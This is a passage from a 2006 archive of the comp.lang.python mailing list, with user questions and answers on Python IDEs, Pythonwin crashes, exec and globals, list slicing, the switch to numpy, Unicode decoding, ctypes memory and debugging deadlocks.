clickign the button the entire window is closed. When I execute this
program, the window does not close down but the window is completely
disabled and after a few seconds I get the following message in a
message window,

**************************************************************************
Message box name - Microsoft Visual C++ Runtime Library

Runtime Error!

program...\Python22\core\lib\site-packages\Pythonwin\Pythonwin.exe

This application has requested the Runtime to terminate it in an
unusual way.
Please contact the application's support team for more information.

************************************************************************************
At the end I had to close down my entire python compiler. I am using
Python compiler with following specs in Windows XP OS.

Pythonwin - Python IDE and GUI Framework for Windows.
PythonWin 2.2.1 (#34, Feb 25 2003, 11:29:09) [MSC 32 bit (Intel)] on
win32.
Portions Copyright 1994-2001 Mark Hammond

Please let me know why is this happening and also if I am missing
something in the way of programming.

Thanks in advance.

Cheers,
Mohan.



From edreamleo at charter.net  Wed Oct  4 11:03:40 2006
From: edreamleo at charter.net (Edward K. Ream)
Date: Wed, 4 Oct 2006 10:03:40 -0500
Subject: How to ask sax for the file encoding
References: <dROUg.62$iP5.51@newsfe07.lga>
	<mailman.1265.1159970009.10491.python-list@python.org>
	<WQPUg.8$Cr3.6@newsfe03.lga> <4oi0f3FehgnuU1@uni-berlin.de>
Message-ID: <k3QUg.11$Cr3.3@newsfe03.lga>

> [The value of the encoding field] _could_ be retained, but for what 
> purpose?

I'm asking this question because my app needs it :-)  Imo, there is *no* 
information in any xml file that can be considered irrelvant.  My app will 
want to know the original encoding when writing the file.

Edward
--------------------------------------------------------------------
Edward K. Ream   email:  edreamleo at charter.net
Leo: http://webpages.charter.net/edreamleo/front.html
--------------------------------------------------------------------




From lycka at carmen.se  Fri Oct 27 10:36:36 2006
From: lycka at carmen.se (Magnus Lycka)
Date: Fri, 27 Oct 2006 16:36:36 +0200
Subject: python GUIs comparison (want)
In-Reply-To: <1161778963.505003.73840@m7g2000cwm.googlegroups.com>
References: <1161666459.401958.267280@i42g2000cwa.googlegroups.com>
	<453E3370.9060008@kevin-walzer.com>
	<eddc3$453eb1df$54d1d767$28881@news.chello.no>
	<mailman.1144.1161755212.11739.python-list@python.org>
	<453f16e5$0$28552$426a74cc@news.free.fr>
	<mailman.1153.1161763394.11739.python-list@python.org>
	<1161778963.505003.73840@m7g2000cwm.googlegroups.com>
Message-ID: <eht5hk$3f9$1@wake.carmen.se>

David Boddie wrote:
> You're forgetting that Qt isn't just a widget toolkit.

I suspect that the non-GUI parts are (just like in Wx) C++ stuff
which is more or less equivalent with things that are either Python
builtins or parts of Python's standard library. Besides, getting
those proprietary dependencies even further down into the code than
the GUI is not a plus in my book.

Last time I looked, Qt code wasn't even pure C++ but needed some
preprocessing like embedded SQL. Yet another programming language
in other words. I suppose I can ignore that from Python, but it
still smells...


From srock258 at gmail.com  Fri Oct 13 17:08:33 2006
From: srock258 at gmail.com (srock)
Date: 13 Oct 2006 14:08:33 -0700
Subject: IDE
In-Reply-To: <1160765102.671856.202100@f16g2000cwb.googlegroups.com>
References: <4zOXg.1918$uv5.11354@twister1.libero.it>
	<mailman.461.1160757081.11739.python-list@python.org>
	<12ivggt86e3js24@corp.supernews.com>
	<1160765102.671856.202100@f16g2000cwb.googlegroups.com>
Message-ID: <1160773713.778279.185380@h48g2000cwc.googlegroups.com>

Eclipse with PyDev is a great option because Eclipse allows you to
develop so many languages at once. Personally, I prefer to learn 1 IDE
for all my development needs. This greatly reduces the learning curve
of a language because you are already familiar with the environment.
Also, Eclipse works on most platforms.

On Oct 13, 2:45 pm, jmdescha... at gmail.com wrote:
> Jan Bakuwel wrote:
> > John Purser wrote:
> > > On Fri, 2006-10-13 at 15:48 +0000, giuseppe wrote:
> > >> What is the better IDE software for python programming?
>
> > >> many thanks
>
> > >> joe
>
> > > Joe,
>
> > > Find the best Python programmer and ask him/her.
>
> > > John Purser
>
> > I may be the worst Python programmer (since Python is new for me)... but
> > I have a lot of experience with IDEs and just looked into Python IDEs.
>
> > My opinion: Eclipse is free but rather complex; WingIDE is commercial
> > software but well worth the few $ - at least for someone like myself.
>
> > cheers,
> > JanActually, Eclipse is easy enough, if you don't want to use the whole
> complexity available and Pydev (the python plugin) is really good - but
> this is NOT a flame because wingware as a good reputation also SPE (but
> I haven't tried it necause i don't have wxPython), also PythonScript or
> Pyscripter as it is sometimes found, but that is windows only (I
> think). And then, there is Komodo, from our friends at ActiveState...
> 
> Jean-Marc



From bignose+hates-spam at benfinney.id.au  Thu Oct 26 22:34:12 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Fri, 27 Oct 2006 12:34:12 +1000
Subject: Insert Content of a File into a Variable
References: <3ACF03E372996C4EACD542EA8A05E66A0615DB@mailbe01.teak.local.net>
Message-ID: <87wt6mebbv.fsf@benfinney.id.au>

Wijaya Edward <ewijaya at i2r.a-star.edu.sg> writes:

> >>> myfile_content = open('somefile.txt')
> >>> print myfile_content,
> <open file 'somefile.txt', mode 'r' at 0xb7f532e0>
> >>> 
>
> But it doesn't print the content of the file.

That's right, because "the content of the file" is not what open() is
documented to return; it is documented as returning a 'file' object.

The 'read' method of the resulting file object will return the
contents of the file. You may also want to read the documentation of
thile objects to see what else you can do with them.

-- 
 \       "A free society is one where it is safe to be unpopular."  -- |
  `\                                             Adlai Ewing Stevenson |
_o__)                                                                  |
Ben Finney



From noway at sorry.com  Wed Oct  4 03:47:54 2006
From: noway at sorry.com (Giovanni Bajo)
Date: Wed, 04 Oct 2006 07:47:54 GMT
Subject: Python to use a non open source bug tracker?
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<45225A1C.8060106@v.loewis.de>
Message-ID: <KGJUg.134415$_J1.895519@twister2.libero.it>

Martin v. L?wis wrote:

> It's significantly different from the Bitkeeper fiasco in two
> important
> ways:
> 1. Bitkeeper is a source revisioning system, so it is similar to CVS
>    and Subversion. This project here is "just" the bug tracker, which
>    is of lesser  importance. If we move to a different one some day, a
>    certain amount of data lossage might be acceptable (e.g. we now
>    likely lose the "history" of status changes and file attachments on
>    each report). An export of all data is high on the requirements
>    list, as Fredrik points out.

I understand your point. OTOH, exactly because the tracker system is a far
lesser importance, it's amazing there is *ever* a need to evaluate non-FLOSS
solutions, when there are so many good free solutions around. Instead of
recommending a closed source solution, you could have recommended Roundup *and*
explained there is a need for funding and/or volunteers before the migration
can happen.

You might also be understimating how negative could be the reaction from the
open-source community to such a move.
-- 
Giovanni Bajo




From onurb at xiludom.gro  Mon Oct 16 09:01:41 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Mon, 16 Oct 2006 15:01:41 +0200
Subject: python's OOP question
In-Reply-To: <1160991239.541020.115320@m7g2000cwm.googlegroups.com>
References: <1160962754.613391.254330@e3g2000cwe.googlegroups.com>
	<mailman.550.1160965386.11739.python-list@python.org>
	<1160965758.324644.131920@i42g2000cwa.googlegroups.com>
	<mailman.551.1160968738.11739.python-list@python.org>
	<1160969393.803021.274070@e3g2000cwe.googlegroups.com>
	<45334fa9$0$5656$426a74cc@news.free.fr>
	<1160991239.541020.115320@m7g2000cwm.googlegroups.com>
Message-ID: <453382b6$0$8601$426a74cc@news.free.fr>

neoedmund wrote:
> Bruno Desthuilliers wrote:
>> neoedmund wrote:
>> (*PLEASE* stop top-posting - corrected)
>>> Ben Finney wrote:
>>>> [Please don't top-post above the text to which you're replying.]
>>>>
>>>> "neoedmund" <neoedmund at gmail.com> writes:
>>>>
>>>>> I'm trying to achieve a higher level of "reusability". Maybe it
>>>>> cannot be done in python? Can anybody help me?
>>>> What, specifically, are you trying to achieve? What problem needs
>>>> solving?
>>> python use multiple inheritance.
>>> but "inheritance" means you must inherite all methods from super type.
>>> now i just need "some" methods from one type and "some" methods from
>>> other types, to build the new type.
>>> Do you think this way is more flexible than tranditional inheritance?
>>>
>> While dynamically adding attributes (and methods - which are attributes
>> too) is not a problem, I'd second Gregor's anwser : it might be better
>> to use composition/delegation here.
>> 
> Could you show some code to help me know how composition/delegation can
> be done here? Thanks.

About composition/delegation, there's no "one-size-fits-all" answer, but
the main idea is to use the magic '__getattr__(self, name)' method.

Now back to your specific case : after a better reading of your original
question, straight composition/delegation wouldn't work here - at least
not without modifications to both C1 and C2 (sorry, should have read
better the first time).

Given the context (ie : "create a new type with methods from type X and
methods from type Y"), a very simple solution could be:

class C3(object):
    m = C2.m.im_func
    v = C1.v.im_func

FWIW, if you have full control over C1, C2 and C3, you could also just
'externalize' the functions definitions:

def v1(self, o):
    return "expected "+o

def v2(self, o):
    return "unexpected "+o

def m2(self):
    """ requires that 'self' has a v(self, somestring) method """
    print self.v("aaa")

class C1(object):
    v = v1

class C2(object):
    v = v2
    m = m2

class C3(object):
    v = v1
    m = m2


The problem (with the whole approach, whatever the choosen technical
solution) is that if one of theses methods depends on another one (or on
any other attribute) that is not defined in your new class, you're in
trouble. This is not such a big deal in the above example, but might
become much more brittle in real life.

Now we can look at the problem from a different perspective. You wrote:
"""
but "inheritance" means you must inherite all methods from super type.
now i just need "some" methods from one type and "some" methods from
other types, to build the new type.
"""

What is your problem with having the other extra methods too ?

-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From limodou at gmail.com  Wed Oct 25 20:39:52 2006
From: limodou at gmail.com (limodou)
Date: Thu, 26 Oct 2006 08:39:52 +0800
Subject: What's the best IDE?
In-Reply-To: <1161822032.211125.272160@h48g2000cwc.googlegroups.com>
References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com>
	<453ff3a7$0$23866$426a74cc@news.free.fr>
	<fXS%g.7781$5i7.4028@newsreading01.news.tds.net>
	<n_S%g.7782$5i7.4615@newsreading01.news.tds.net>
	<1161822032.211125.272160@h48g2000cwc.googlegroups.com>
Message-ID: <505f13c0610251739v5b281996sbfc70f6a2065e58f@mail.gmail.com>

On 25 Oct 2006 17:20:32 -0700, Hakusa at gmail.com <Hakusa at gmail.com> wrote:
> After researching Komodo, I found it's not free. The only funds I have
> are a college fund, and I can't start diping into that until I'm going
> to college. Any free AND good IDEs?
>
I think most of wxPython IDE are good. I prefer UliPad, because I'm
the author of it, you can find the link from my signature. It's cross
platform, and many features. It has not embed debuger in it now, so
you can use winpdb to debug your program. It support auco-complete in
editing and also provide a shell window also support auto-complete.
And the auco-complete in editing is more powerful.

Other good wxPython IDE should be SPE, drPython, PyPE, etc.

-- 
I like python!
UliPad <<The Python Editor>>: http://wiki.woodpecker.org.cn/moin/UliPad
My Blog: http://www.donews.net/limodou


From mensanator at aol.com  Mon Oct 16 16:45:17 2006
From: mensanator at aol.com (mensanator at aol.com)
Date: 16 Oct 2006 13:45:17 -0700
Subject: Need a strange sort method...
References: <1161022388.133766.221150@m7g2000cwm.googlegroups.com>
	<8c7f10c60610161130i4d520b49xd6fc5a8450d579f4@mail.gmail.com>
	<mailman.587.1161023793.11739.python-list@python.org>
	<1161028595.918128.198190@h48g2000cwc.googlegroups.com>
	<1161028913.598854.111950@b28g2000cwb.googlegroups.com>
Message-ID: <1161031516.939430.293150@b28g2000cwb.googlegroups.com>


SpreadTooThin wrote:
> SpreadTooThin wrote:
> > Simon Brunning wrote:
> > > On 10/16/06, Simon Brunning <simon at brunningonline.net> wrote:
> > > > >>> a = [1,2,3,4,5,6,7,8,9,10]
> > > > >>> a.sort(key=lambda item: (((item-1) %3), item))
> > > > >>> a
> > > > [1, 4, 7, 10, 2, 5, 8, 3, 6, 9]
> > >
> > > Re-reading the OP's post, perhaps sorting isn't what's required:
> > >
> > > >>> a[::3] + a[1::3] + a[2::3]
> > > [1, 4, 7, 10, 2, 5, 8, 3, 6, 9]
> > >
> > > --
> > > Cheers,
> > > Simon B
> > > simon at brunningonline.net
> > > http://www.brunningonline.net/simon/blog/
> >
>
> > Ok so this is what I got.. but there is an odd side effect:
> >
> > def reslice(series):
> > 	series.sort()
> > 	i = 1
> > 	newseries = series[::3]
> > 	while(1):
> > 		c = series[i::3]
> > 		if len(c) >= 3:
> > 			newseries = newseries + c
> > 		else:
> > 			break
> > 		i = i + 1
> > 	return newseries
> >
> > a = [2,1,4,3,6,5,8,7,10,9]
> > b = reslice(a)
> > print b
> > >>> [1, 4, 7, 10, 2, 5, 8, 3, 6, 9, 4, 7, 10]
> >
> > I have one extra 10 that I shouldn't...

Actually, you have an extra 4,7,10.

>
>
> I think my loop termination is incorrect...
> maybe I should just stop when my new series size is the same size as
> the original?

You can do this automatically (and pass the size of the
desired sublist grouping also).

def strange(n,d):
    """ n list to sort
        d sublist length
    """
    LoL = []
    for i in xrange(d):
        LoL.append(n[i::d])
    print LoL
    out = []
    for i in LoL:
        out.extend(i)
    return out

a = [1,2,3,4,5,6,7,8,9,10]
b = [1,3,5,7,11,13,17,19,23,29]
c = [1,2,3,4,4,5,6,7,8,9,10]
d = [1,2]

print a
test = strange(a,3)
print test
print

print a
test = strange(a,4)
print test
print

print a
test = strange(a,5)
print test
print

print b
test = strange(b,3)
print test
print

print c
test = strange(c,3)
print test
print

print d
test = strange(d,5)
print test
print

##    [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
##    [[1, 4, 7, 10], [2, 5, 8], [3, 6, 9]]
##    [1, 4, 7, 10, 2, 5, 8, 3, 6, 9]
##
##    [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
##    [[1, 5, 9], [2, 6, 10], [3, 7], [4, 8]]
##    [1, 5, 9, 2, 6, 10, 3, 7, 4, 8]
##
##    [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
##    [[1, 6], [2, 7], [3, 8], [4, 9], [5, 10]]
##    [1, 6, 2, 7, 3, 8, 4, 9, 5, 10]
##
##    [1, 3, 5, 7, 11, 13, 17, 19, 23, 29]
##    [[1, 7, 17, 29], [3, 11, 19], [5, 13, 23]]
##    [1, 7, 17, 29, 3, 11, 19, 5, 13, 23]
##
##    [1, 2, 3, 4, 4, 5, 6, 7, 8, 9, 10]
##    [[1, 4, 6, 9], [2, 4, 7, 10], [3, 5, 8]]
##    [1, 4, 6, 9, 2, 4, 7, 10, 3, 5, 8]
##
##    [1, 2]
##    [[1], [2], [], [], []]
##    [1, 2]



From steve at holdenweb.com  Wed Oct 11 06:19:28 2006
From: steve at holdenweb.com (Steve Holden)
Date: Wed, 11 Oct 2006 11:19:28 +0100
Subject: dynamic creation of global Identifier
In-Reply-To: <463ff4860610110217j737629b0me3aaa54f820e9a8d@mail.gmail.com>
References: <egicc8$kat$1@online.de>
	<463ff4860610110217j737629b0me3aaa54f820e9a8d@mail.gmail.com>
Message-ID: <egigdn$4ku$1@sea.gmane.org>

Theerasak Photha wrote:
> On 10/11/06, Alexander Eisenhuth <newsuser at stacom-software.de> wrote:
> 
> 
>>but why doesent exec "global ... create a identifier in the global namespace.
> 
> 
> I haven't had much use for exec, but it operates in its own, more or
> less cloistered namespace. It can't set globals among other things.
> 
Well that's not strictly true:

  >>> globals()
{'__builtins__': <module '__builtin__' (built-in)>, '__name__': 
'__main__', '__file__': '/c/Steve/.pythonrc', 'sys': <module 'sys' 
(built-in)>, '__doc__': None}
  >>> exec "NEW = 42"
  >>> globals()
{'__builtins__': <module '__builtin__' (built-in)>, '__file__': 
'/c/Steve/.pythonrc', 'sys': <module 'sys' (built-in)>, 'NEW': 42, 
'__name__': '__main__', '__doc__': None}

The problem was that the two exec statements were being treated 
separately because they use independent execution contexts. Make them 
the same, and bingo!

sholden at bigboy ~/Projects/Python
$ cat test38.py
class A:
         def __init__(self, v):
                 print "ctr of", self.__class__, "with", v
                 self._v = v

def init():
         newIdentifier =  ["a", "b"]
         param = [1,2]
         for newId, par in zip(newIdentifier, param):
                 exec """\
global %s
%s = A(par)""" % (newId, newId)

init()
print a, b



sholden at bigboy ~/Projects/Python
$ python test38.py
ctr of __main__.A with 1
ctr of __main__.A with 2
<__main__.A instance at 0x186c6d2c> <__main__.A instance at 0x186c6e0c>

However, none of this will necessarily get the OP further, since the 
interpretation of the global statement will be as "global to the module 
that it appears in".

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From rpdooling at gmail.com  Fri Oct 13 10:38:39 2006
From: rpdooling at gmail.com (BartlebyScrivener)
Date: 13 Oct 2006 07:38:39 -0700
Subject: Best IDE?
In-Reply-To: <1160749749.140484.97990@f16g2000cwb.googlegroups.com>
References: <1160749749.140484.97990@f16g2000cwb.googlegroups.com>
Message-ID: <1160750319.845988.28050@m73g2000cwd.googlegroups.com>

Ahmer wrote:
> What do you guys use?
> Why?

http://tinyurl.com/ybg6p5

rd



From hanumizzle at gmail.com  Tue Oct 10 21:59:47 2006
From: hanumizzle at gmail.com (Theerasak Photha)
Date: Tue, 10 Oct 2006 21:59:47 -0400
Subject: does raw_input() return unicode?
In-Reply-To: <452BD8A2.4060708@v.loewis.de>
References: <12iln7en9ipit77@corp.supernews.com>
	<452b5190$0$29833$9b622d9e@news.freenet.de>
	<mailman.178.1160467772.11739.python-list@python.org>
	<452BD8A2.4060708@v.loewis.de>
Message-ID: <463ff4860610101859x190db877hddac360fe612b8c2@mail.gmail.com>

On 10/10/06, "Martin v. L?wis" <martin at v.loewis.de> wrote:
> Theerasak Photha schrieb:
> >> At the moment, it only returns unicode objects when invoked
> >> in the IDLE shell, and only if the character entered cannot
> >> be represented in the locale's charset.
> >
> > Why only IDLE? Does urwid or another console UI toolkit avoid this somehow?
>
> I admit I don't know what urwid is; from a shallow description I find
> ("a console user interface library") I can't see the connection to
> raw_input(). How would raw_input() ever use urwid?

The other way around: would urwid use raw_input() or other Python
input functions anywhere?

And what causes Unicode input to work in IDLE alone?

-- Theerasak


From pydecker at gmail.com  Wed Oct 11 21:38:27 2006
From: pydecker at gmail.com (Peter Decker)
Date: Wed, 11 Oct 2006 21:38:27 -0400
Subject: Python component model
In-Reply-To: <eghai4$615$1@online.de>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
	<pan.2006.10.09.18.24.45.251048@gmx.net>
	<452b7aae$0$306$426a74cc@news.free.fr> <eghai4$615$1@online.de>
Message-ID: <ca55a9900610111838m410dc651v9e7c365aa6fccc8b@mail.gmail.com>

On 10/10/06, Peter Maas <peter.maas at utilog.de> wrote:

> I for my part would be happy to see a Delphi-like RAD tool for Python,
> a reference implementation for web programming as part of the standard
> library, Jython 2.5, Python for PHP or whatever attracts new programmers.

I think you should take a good look at Dabo and the visual tools they
are creating. While I would be the first one to admit that they are
not polished to the level of Delphi, they are pretty amazing for a
couple of guys working in their spare time! If we could get more of
the community to contribute to this project, I don't think that there
would be any other RAD tool that would come close.
-- 

# p.d.


From apardon at forel.vub.ac.be  Wed Oct  4 07:26:00 2006
From: apardon at forel.vub.ac.be (Antoon Pardon)
Date: 4 Oct 2006 11:26:00 GMT
Subject: What value should be passed to make a function use the
	defaultargument value?
References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com>
	<7xwt7gqwb3.fsf@ruckus.brouhaha.com>
	<slrnei7235.55m.apardon@rcpc42.vub.ac.be>
	<7xac4cpefr.fsf@ruckus.brouhaha.com>
	<slrnei73f7.55m.apardon@rcpc42.vub.ac.be>
	<eg03un$se8$1@news.albasani.net>
	<mailman.1251.1159960100.10491.python-list@python.org>
Message-ID: <slrnei76i8.55m.apardon@rcpc42.vub.ac.be>

On 2006-10-04, Fredrik Lundh <fredrik at pythonware.com> wrote:
> Georg Brandl wrote:
>
>>> But that can only work if you are the author of f. Take the
>>> following code:
>>>
>>>   def myrepeat(obj, times = xxx):
>>>     return itertools.repeat(obj, times)
>>>
>>> What value do I have to substitue for xxx, so that myrepeat
>>> will have the exact same function as itertools.repeat?
>>
>> There's no possible value. You'll have to write this like
>>
>> def myrepeat(obj, times=None):
>>     if times is None:
>>         return itertools.repeat(obj)
>>     else:
>>         return itertools.repeat(obj, times)
>
> or:
>
>     def myrepeat(*args):
>         return itertools.repeat(*args)

Yes that works but I have the impression that this solution
becomes complicated very fast once you want to do extra
processing in the function body. Take the following

  def myrepeat(obj, times = xxx)"
    newobj = Process(obj)
    return itertools.repeat(obj, times)

I think it would become something like:

  def myrepeat(*args):
    obj = args[0]
    tail = args[1:]
    newobj = Process(obj)
    newargs = (newobj,) + tail
    return itertools.repeat(*newargs)


From robert.kern at gmail.com  Wed Oct  4 01:57:29 2006
From: robert.kern at gmail.com (Robert Kern)
Date: Wed, 04 Oct 2006 00:57:29 -0500
Subject: switching to numpy and failing, a user story
In-Reply-To: <1159940670.808128.312270@i3g2000cwc.googlegroups.com>
References: <1159940670.808128.312270@i3g2000cwc.googlegroups.com>
Message-ID: <efvig1$55q$1@sea.gmane.org>

greg.landrum at gmail.com wrote:
> After using numeric for almost ten years, I decided to attempt to
> switch a large codebase (python and C++) to using numpy. Here's are
> some comments about how that went.
> 
> - The code to automatically switch python stuff over just kind of
> works. But it was a 90% solution, I could do the rest by hand. Of
> course, the problem is that then the code is still using the old
> numeric API, so it's not a long term solution. Unfortunately, to switch
> to the numpy API one needs documentation, which is a problem; see
> below.

Actually, it's not too hard to do so with the files that come with the source 
and utilizing the mailing list. I've converted quite a lot of code without 
reference to _The Guide to NumPy_.

> - Well, ok, the automatic switching code doesn't really work all that
> well... my uses of RandomArray still work, but they generate different
> numbers. The underlying random-number generator must have changed. I'm
> sure that it's "better" now, but it's different. This is a major pain
> for my regression tests that rely on seeding the random number
> generator and getting particular results. But that's ok, I can update
> the regressions for the new RNG.

Sorry, but the old PRNG code had an non-open source license that prohibited 
commercial use, and it had to be replaced.

> - My extension modules just won't build because the new numpy stuff
> lives in a different location from where Numeric used to live. I
> probably could fix this, but without the documentation I can't figure
> out how to do that.

That is documented in the files that come with the source. Or you could have 
asked us on the numpy mailing list. In short, if you use numpy.distutils, 
everything would have been taken care of for you; otherwise, numpy.get_include() 
will give you the location of the headers.

> - I guess I should just buy the documentation. I don't like this idea,
> because I think it's counter-productive to the project to have payware
> docs 

<shrug> Otherwise the docs wouldn't have been written at all. And most likely, 
numpy wouldn't exist, either.

> (would Python be successful if you had to buy the documentation? I
> don't think so), but that's the way this project goes. I'm doubly
> unhappy about it because they payment system is using Paypal and I
> don't like Paypal at all, but I guess that's just the way it goes. Oh,
> wait, I *can't* buy the docs because I'm not in the US and the payment
> page requires a US address. I give up; I guess NumPy is only for people
> living in the US.

Or you could have emailed Travis, and he would have worked around the issue.

I'm sorry that you had such problems, but if you had let us know about them 
earlier, we could have helped you out.

-- 
Robert Kern

"I have come to believe that the whole world is an enigma, a harmless enigma
  that is made terrible by our own mad attempt to interpret it as though it had
  an underlying truth."
   -- Umberto Eco



From fakeaddress at nowhere.org  Fri Oct  6 14:09:29 2006
From: fakeaddress at nowhere.org (Bryan Olson)
Date: Fri, 06 Oct 2006 18:09:29 GMT
Subject: Google breaks Usenet (was Re: How can I correct an error in an
	old post?)
In-Reply-To: <1160154253.956469.195400@m73g2000cwd.googlegroups.com>
References: <1159723139.638984.293300@h48g2000cwc.googlegroups.com>
	<pvc9i2l14o2jhdapmqeudal2kvvuvtksht@4ax.com>
	<1160096371.564954.132860@b28g2000cwb.googlegroups.com>
	<4SmVg.9105$GR.2172@newssvr29.news.prodigy.net>
	<eg5j9c$g62$1@panix3.panix.com>
	<1160154253.956469.195400@m73g2000cwd.googlegroups.com>
Message-ID: <tZwVg.9236$GR.2970@newssvr29.news.prodigy.net>

Blair P. Houghton wrote:
> Usenet isn't just the "send this message to all leaf nodes via tree"
> behavior,
> it's the "show me the message from 1987 or 1988 written by dickie
> sexton where
> he invents the '(*plonk*)' meme" behavior, and a lot of others.

That makes Google the only non-broken Usenet service,
the opposite of what the retitling of this thread claims.


-- 
--Bryan


From NoelByron at gmx.net  Thu Oct 19 09:38:19 2006
From: NoelByron at gmx.net (NoelByron at gmx.net)
Date: 19 Oct 2006 06:38:19 -0700
Subject: UTF-8 to unicode or latin-1 (and yes, I read the FAQ)
In-Reply-To: <2m8k04-gfe.ln1@nb2.stroeder.com>
References: <1161249411.230825.139160@m7g2000cwm.googlegroups.com>
	<Xns98616CE973980duncanbooth@127.0.0.1>
	<1161252764.244873.134740@f16g2000cwb.googlegroups.com>
	<2m8k04-gfe.ln1@nb2.stroeder.com>
Message-ID: <1161265099.898851.21400@m73g2000cwd.googlegroups.com>

Michael Str?der wrote:
> NoelByron at gmx.net wrote:
> >
> > print 'K\xc3\xb6ni'.decode('utf-8')
> >
> > and this line raised a UnicodeDecode exception.
>
> Works for me.
>
> Note that 'K\xc3\xb6ni'.decode('utf-8') returns a Unicode object. With
> print this is implicitly converted to string. The char set used depends
> on your console

And that was the problem. I'm developing with eclipse (PyDev). The
console is integrated in the development environment. As I print out an
unicode string python tries to encode it to ASCII. And since the string
contains non ASCII characters it fails. That is no problem if you are
aware of this.

My mistake was that I thought the exception was raised by my call to
decode('UTF-8') because print and decode were on the same line and I
thought print could never raise an exception. Seems like I've learned
something today.

Best regards,
Noel



From grahn+nntp at snipabacken.dyndns.org  Sun Oct  1 04:24:40 2006
From: grahn+nntp at snipabacken.dyndns.org (Jorgen Grahn)
Date: 1 Oct 2006 08:24:40 GMT
Subject: builtin regular expressions?
References: <451e37a5$1@news.vo.lu> <efm04n$lb3$1@mlucom4.urz.uni-halle.de>
	<mailman.1003.1159631137.10491.python-list@python.org>
	<MPG.1f88cf81c13811a398968d@news.individual.de>
Message-ID: <slrnehuuq6.gim.grahn+nntp@frailea.sa.invalid>

On Sat, 30 Sep 2006 20:01:57 +0100, Thorsten Kampe <thorsten at thorstenkampe.de> wrote:
...
>
> It's originally from Jamie Zawinski:
> 'Some people, when confronted with a problem, think "I know, I'll use 
> regular expressions." Now they have two problems.'
>
> And the simple reason why Regular Expressions are not a part of the 
> core Python language is that Regular Expressions are overrated.

It seems to me they are currently /underrated/ in the Python community. Or,
I suspect, everybody disrespects them in public but secretly use them when
they're hacking ;-)

> They are simply not the preferred tool for every kind of text manipulation 
> and extraction.

Oh yes, agreed there.  str.split, str.startswith, substr in str ... take you
a long way without a single backslash. I use them more frequently these
days; for example, I would have solved the original poster's problem in that
way.

However, there is a set of common problems which would be hell to solve
without regexes. I used to do that stuff in C when I was young and stupid;
now would never go back to hand-coded, buggy loops just for the sake of
avoiding regexes.

Possibly I have more need of regexes than some others, because I do a lot of
traditional Unix programming, which is heavy on text processing and
text-based mini-languages.

/Jorgen

-- 
  // Jorgen Grahn <grahn@        Ph'nglui mglw'nafh Cthulhu
\X/     snipabacken.dyndns.org>  R'lyeh wgah'nagl fhtagn!


From horpner at yahoo.com  Thu Oct 26 07:44:49 2006
From: horpner at yahoo.com (Neil Cerutti)
Date: Thu, 26 Oct 2006 11:44:49 GMT
Subject: The format of filename
References: <slrnejs9l1.184.horpner@FIAD06.norwich.edu>
	<mailman.1074.1161701843.11739.python-list@python.org>
	<slrnejsaoq.1gg.horpner@FIAD06.norwich.edu>
	<slrnejsb2q.1pk.horpner@FIAD06.norwich.edu>
	<slrnejsc0e.1pk.horpner@FIAD06.norwich.edu>
	<l8l0k25bvmcdpm6tmd7rnkodd6i7um9l23@4ax.com>
	<yX00h.7799$5i7.7631@newsreading01.news.tds.net>
	<mailman.1266.1161862825.11739.python-list@python.org>
Message-ID: <Rc10h.7800$5i7.4738@newsreading01.news.tds.net>

On 2006-10-26, Fredrik Lundh <fredrik at pythonware.com> wrote:
> Neil Cerutti wrote:
>> Seriously, experiments show the forward slash is OK as a
>> seperator, it just can't be root.
>
> do you think you can figure out why, even without reading the
> various MSDN pages you've been pointed to ?

Too late. Plus somebody else already pointed it out: command line
arguments.

-- 
Neil Cerutti


From oliver.andrich at gmail.com  Tue Oct  3 10:10:52 2006
From: oliver.andrich at gmail.com (Oliver Andrich)
Date: Tue, 3 Oct 2006 16:10:52 +0200
Subject: Ctypes and freeing memory
In-Reply-To: <4866bea60610030648u3a02c0c3k7c25e6c0e15f37c6@mail.gmail.com>
References: <6f7b52d0610030219l481b594ekbc9449b7339fd30@mail.gmail.com>
	<4866bea60610030648u3a02c0c3k7c25e6c0e15f37c6@mail.gmail.com>
Message-ID: <6f7b52d0610030710i4d0b6b9fydf71c21d250867c4@mail.gmail.com>

On 10/3/06, Chris Mellon <arkanes at gmail.com> wrote:
> Not a ctypes expert but I can pretty much guaranteee that Python won't
> correctly release that memory by itself. Are you sure that description
> is actually a string object?

I also think, that Python won't release the memory, and the returned
string isn't helpful either. :)

> If it doesn't, then you can use a more literal translation of the C
> code, and use a c_void_p instead, using ctypes.string_at(description)
> to get a string out of the buffer.

This works and is a great tip! Thanks a lot.

Best regards,
Oliver

-- 
Oliver Andrich <oliver.andrich at gmail.com> --- http://roughbook.de/


From MrJean1 at gmail.com  Fri Oct  6 17:18:45 2006
From: MrJean1 at gmail.com (MrJean1)
Date: 6 Oct 2006 14:18:45 -0700
Subject: Dumping the state of a deadlocked process
In-Reply-To: <1160164771.210372.141120@h48g2000cwc.googlegroups.com>
References: <1160164771.210372.141120@h48g2000cwc.googlegroups.com>
Message-ID: <1160169525.373389.207990@c28g2000cwb.googlegroups.com>

Did you try using the signal module?  If not, a basic example is here
<http://docs.python.org/lib/node546.html> which may need to be
extended.

/Jean Brouwers


andre.naess at gmail.com wrote:
> Hi all
>
> I'm currently having some issues with a process getting deadlocked. The
> problem is that the only way I can seem to find information about where
> it deadlocks is by making a wild guess, insert a pdb.set_trace() before
> this point, and then step until it locks up, hoping that I've guessed
> right.
>
> The frustrating part is that most of the time my guesses are wrong.
>
> It would be really nice if I could send the python process some signal
> which would cause it to print the current stacktrace and exit
> immediately. That way I would quickly be able to pinpoint where in the
> code the deadlock happens. Java has a somewhat similar feature where
> you can send a running VM process a SIGQUIT, to which it will respond
> by dumping all current threads and lots of other information on stdout.
> 
> Is this possible somehow?



From maxerickson at gmail.com  Sun Oct 15 00:14:21 2006
